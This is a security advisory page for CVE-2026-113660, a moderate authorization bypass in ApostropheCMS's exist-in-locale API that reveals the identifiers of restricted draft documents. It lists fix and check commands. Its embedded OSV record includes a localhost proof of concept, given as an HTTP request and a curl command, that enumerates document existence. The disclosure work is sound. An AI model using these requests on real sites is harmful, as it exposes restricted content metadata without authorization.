CVE-2026-113660: ApostropheCMS Authenticated Object-Level Authorization Bypass Vulnerability
MODERATECVE-2026-113660 is a MODERATE (CVSS 4.3) authenticated object-level authorization bypass vulnerability (CWE-862: Missing Authorization) affecting ApostropheCMS libraries in the npm ecosystem. The issue involves authenticated object-level authorization bypass in exist-in-locale reveals restricted localized draft identifiers. Remediation is available by upgrading affected packages to version 4.33.0.
CVE-2026-113660 at a Glance
Security Impact
CVSS: 4.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-113660
To remediate this vulnerability, upgrade all affected ApostropheCMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install apostrophe@4.33.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls apostrophe
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-113660, inspect your project dependencies using npm:
npm ls apostrophe
Analyze the terminal output to locate any version of ApostropheCMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.33.0), your application is affected.
Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In ApostropheCMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-113660 Affected ApostropheCMS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
apostrophe
|
npm |
< 4.33.0
|
4.33.0
|
References
Frequently Asked Questions
What is CVE-2026-113660?
Which ApostropheCMS versions are affected?
What version fixes CVE-2026-113660?
Is apostrophe affected?
What is the CVSS score of CVE-2026-113660?
What CWE is associated with CVE-2026-113660?
How can I check npm dependencies for CVE-2026-113660?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vmxh-77cw-65j7",
"modified" : "2026-10-20T18:19:34Z",
"published" : "2026-10-20T18:19:34Z",
"aliases" : [ "CVE-2026-113660" ],
"summary" : "ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers",
"details" : "**Summary**\nApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.\n\nThe issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.\n\n**Details**\nExact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`\nExact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`\nThe handler verifies only that the requester is authenticated:\n\n```\nif (!req.user) {\n throw self.apos.error('notfound');\n}\n```\nIt then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:\n\n```\nconst found = await self.apos.doc.db.find({\n aposLocale: `${locale}:${mode}`,\n aposDocId: {\n $in: ids.map(self.apos.doc.toAposDocId)\n }\n}).project({\n _id: 1,\n aposDocId: 1\n}).toArray();\n```\nThis query does not apply:\n\n.permission('view')\n.permission('edit')\napos.permission.criteria(req, 'view')\nobject-level document authorization\nlocale-specific authorization\n\nThe endpoint accepts multiple IDs, making bulk probing possible.\n\n**Proof of Concept**\n\nThe local application was running at: http://127.0.0.1:3000\nThe test account had the low-privilege role: guest\nThe local database contained synthetic records for the restricted document base ID:\n```\nwv2l4rbaplgzkg80zkne4aoz:en:draft\nwv2l4rbaplgzkg80zkne4aoz:fr:draft\n```\nAll credentials and cookies are intentionally redacted below.\n\n```\nPOST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nContent-Type: application/json\nAccept: application/json\n\n{\n \"ids\": [\n \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n ],\n \"locale\": \"fr\",\n \"mode\": \"draft\"\n}\n```\n**Equivalent command**\n```\ncurl -i -sS -X POST \\\n 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \\\n -b /path/to/redacted-guest-cookie-jar.txt \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json' \\\n --data-raw '{\n \"ids\": [\n \"wv2l4rbaplgzkg80zkne4aoz:en:draft\",\n \"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft\"\n ],\n \"locale\": \"fr\",\n \"mode\": \"draft\"\n }'\n```\n**Observed response**\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: application/json; charset=utf-8\n```\n\n```\n{\n \"originalLocaleIds\": [\n \"wv2l4rbaplgzkg80zkne4aoz:en:draft\"\n ],\n \"newLocaleIds\": [\n \"wv2l4rbaplgzkg80zkne4aoz:fr:draft\"\n ],\n \"aposDocIds\": [\n \"wv2l4rbaplgzkg80zkne4aoz\"\n ]\n}\n```\nThe nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.\n\n**Authorization control**\nUsing the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:\n\n```\nGET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-guest-session>\nAccept: application/json\n\n```\n\n**Observed response:**\n```\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n```\n```\n{\n \"name\": \"forbidden\",\n \"data\": {},\n \"message\": \"forbidden\"\n}\n\n```\nThis demonstrates the authorization boundary clearly:\n\n| Request | Result |\n| ----------------------------------------------- | ----------------------------------- |\n| Normal page API for the restricted draft | `403 Forbidden` |\n| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |\n| `exist-in-locale` for a nonexistent ID | `200 OK` with empty arrays |\n\n**Additional impact validation**\n\nThe behavior was also tested across multiple locale and mode combinations:\n\n| Query | Result |\n| ----------------------------- | ---------------------------------------------------------- |\n| `locale=fr`, `mode=draft` | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft` |\n| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |\n| `locale=de`, `mode=draft` | Returned empty arrays because no German fixture existed |\n| Two IDs in one request | Existing ID returned; nonexistent ID omitted |\n\nThis confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.\n\nImpact\nA low-privilege authenticated user can:\nProbe arbitrary known or guessed document base IDs.\nDetermine whether restricted documents have localized versions.\nDetermine whether unpublished draft versions exist.\nIdentify which locales contain matching records.\nObtain exact localized document identifiers.\nSubmit multiple IDs in one request for bulk reconnaissance.\nThe issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.\n\nRecommended remediation\nBefore executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.\nThe endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.\n\n[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)\n\n[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "apostrophe"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.33.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7"
}, {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
}, {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apostrophecms/apostrophe"
}, {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-862" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-20T18:19:34Z",
"nvd_published_at" : null
}
}